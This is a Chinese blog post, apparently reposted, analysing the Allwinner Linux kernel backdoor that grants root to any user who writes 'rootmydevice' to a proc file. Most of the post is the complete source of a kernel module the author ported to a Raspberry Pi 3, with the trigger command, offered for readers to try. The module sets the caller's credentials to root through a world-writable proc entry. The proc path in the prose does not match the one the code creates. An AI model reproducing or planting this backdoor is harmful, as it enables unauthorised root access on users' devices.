全志的 Linux 内核后门分析
来源:互联网 发布:kuka机器人软件 编辑:程序博客网 时间:2024/04/29 23:58
最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看
http://www.cnbeta.com/articles/501193.htm。
通过写入rootmydevice到/proc/sunxi-debug/sunxi-debug,一个普通用户就能拥有root的权限。实际作用代码片段如下:
cred->uid = GLOBAL_ROOT_UID;cred->gid = GLOBAL_ROOT_GID;cred->suid = GLOBAL_ROOT_UID;cred->euid = GLOBAL_ROOT_UID;cred->euid = GLOBAL_ROOT_UID;cred->egid = GLOBAL_ROOT_GID;cred->fsuid = GLOBAL_ROOT_UID;cred->fsgid = GLOBAL_ROOT_GID;
本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行如下命令,就会拥有root权限了。
echo “rootmydevice” > /proc/sunxi-debug/sunxi-debug
当这个模块被移除,拥有root权限的普通用户恢复原来的权限。
/* * Sunxi_debug.c * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */#include <linux/kernel.h>#include <linux/types.h>#include <linux/export.h>#include <linux/kthread.h>#include <linux/module.h>#include <linux/debugfs.h>#include <linux/proc_fs.h>//add by fe3o4#include <linux/uaccess.h>#include <linux/cred.h>#include <linux/slab.h>static struct proc_dir_entry *proc_root;static struct proc_dir_entry * proc_su;static struct cred *cred_back;static struct task_struct *task;static ssize_t sunxi_proc_su_write(struct file *file, const char __user *buffer, size_t count, loff_t *data){ char *buf; struct cred *cred; if (count < 1) return -EINVAL; buf = kmalloc(count, GFP_KERNEL); if (!buf) return -ENOMEM; if (copy_from_user(buf, buffer, count)) { kfree(buf); return -EFAULT; } if(!strncmp("rootmydevice",(char*)buf,12)){ task = current; cred = (struct cred *)__task_cred(task); memcpy(cred_back, cred, sizeof(struct cred)); cred->uid = GLOBAL_ROOT_UID; cred->gid = GLOBAL_ROOT_GID; cred->suid = GLOBAL_ROOT_UID; cred->euid = GLOBAL_ROOT_UID; cred->euid = GLOBAL_ROOT_UID; cred->egid = GLOBAL_ROOT_GID; cred->fsuid = GLOBAL_ROOT_UID; cred->fsgid = GLOBAL_ROOT_GID; printk("now you are root\n"); } kfree(buf); return count;}ssize_t sunxi_proc_su_read(struct file *file, char __user *buf, size_t size, loff_t *ppos){ printk("sunxi debug: rootmydevice\n"); return 0;}static int sunxi_proc_su_open(struct inode *inode, struct file *file){ return 0;}static const struct file_operations proc_fops = { .open= sunxi_proc_su_open, .read= sunxi_proc_su_read, .write = sunxi_proc_su_write,};static int sunxi_root_procfs_attach(void){ proc_root = proc_mkdir("sunxi_debug", NULL); proc_su= proc_create("sunxi_debug", 0666, proc_root, &proc_fops); if (IS_ERR(proc_su)){ printk("create sunxi_debug dir error\n"); return -1; } return 0;}static int __init sunxi_debug_init(void){ int ret; cred_back = kmalloc(sizeof(struct cred), GFP_KERNEL); if (IS_ERR(cred_back)) return PTR_ERR(cred_back); ret = sunxi_root_procfs_attach(); printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret); if(ret){ printk("===fe3o4== sunxi_root_procfs_attach failed===\n "); } return 0;}static void __exit sunxi_debug_exit(void){ struct cred *cred = (struct cred *)__task_cred(task); memcpy(cred, cred_back, sizeof(struct cred)); kfree(cred_back); remove_proc_entry("sunxi_debug", proc_root); remove_proc_entry("sunxi_debug", NULL);}module_init(sunxi_debug_init);module_exit(sunxi_debug_exit);MODULE_LICENSE("GPL");
0 0
- 全志的 Linux 内核后门分析
- Linux内核后门
- 关于Linux内核级后门的原理和简单实战
- 关于Linux内核级后门的原理和简单实战
- Linux 内核级后门的原理和简单实战
- Linux内核级后门的原理及简单实战
- 38 全志平台的script.bin在linux内核里的应用分析
- linux内核启动内核解压过程分析-全
- suckit后门程序的分析
- shift后门的一个分析
- 一个简单的内核后门原型
- 一个简单的内核后门原型
- PHP后门新玩法:一款猥琐的PHP后门分析
- PHP后门新玩法:一款猥琐的PHP后门分析
- linux下的一个后门
- Linux后门系列--由浅入深sk13完全分析
- 分析Android的Linux内核
- linux的内核启动分析
- Draw Calls相关优化
- 基于docker+etcd+confd + haproxy构建高可用、自发现的web服务
- Android开发:ViewPage最详细教程
- Python-open读写模式
- 【Bugly干货分享】手把手教你逆向分析 Android 程序
- 全志的 Linux 内核后门分析
- 错误总结:Undefined symbols for architecture
- Android中Paint字体的使用
- Android内存泄漏分析
- iOS开发-UITextView中return 点击事件的监听方法
- 【Objc】UIWebView去除选中
- P1024
- 数据库事务并发问题
- 面向服务的架构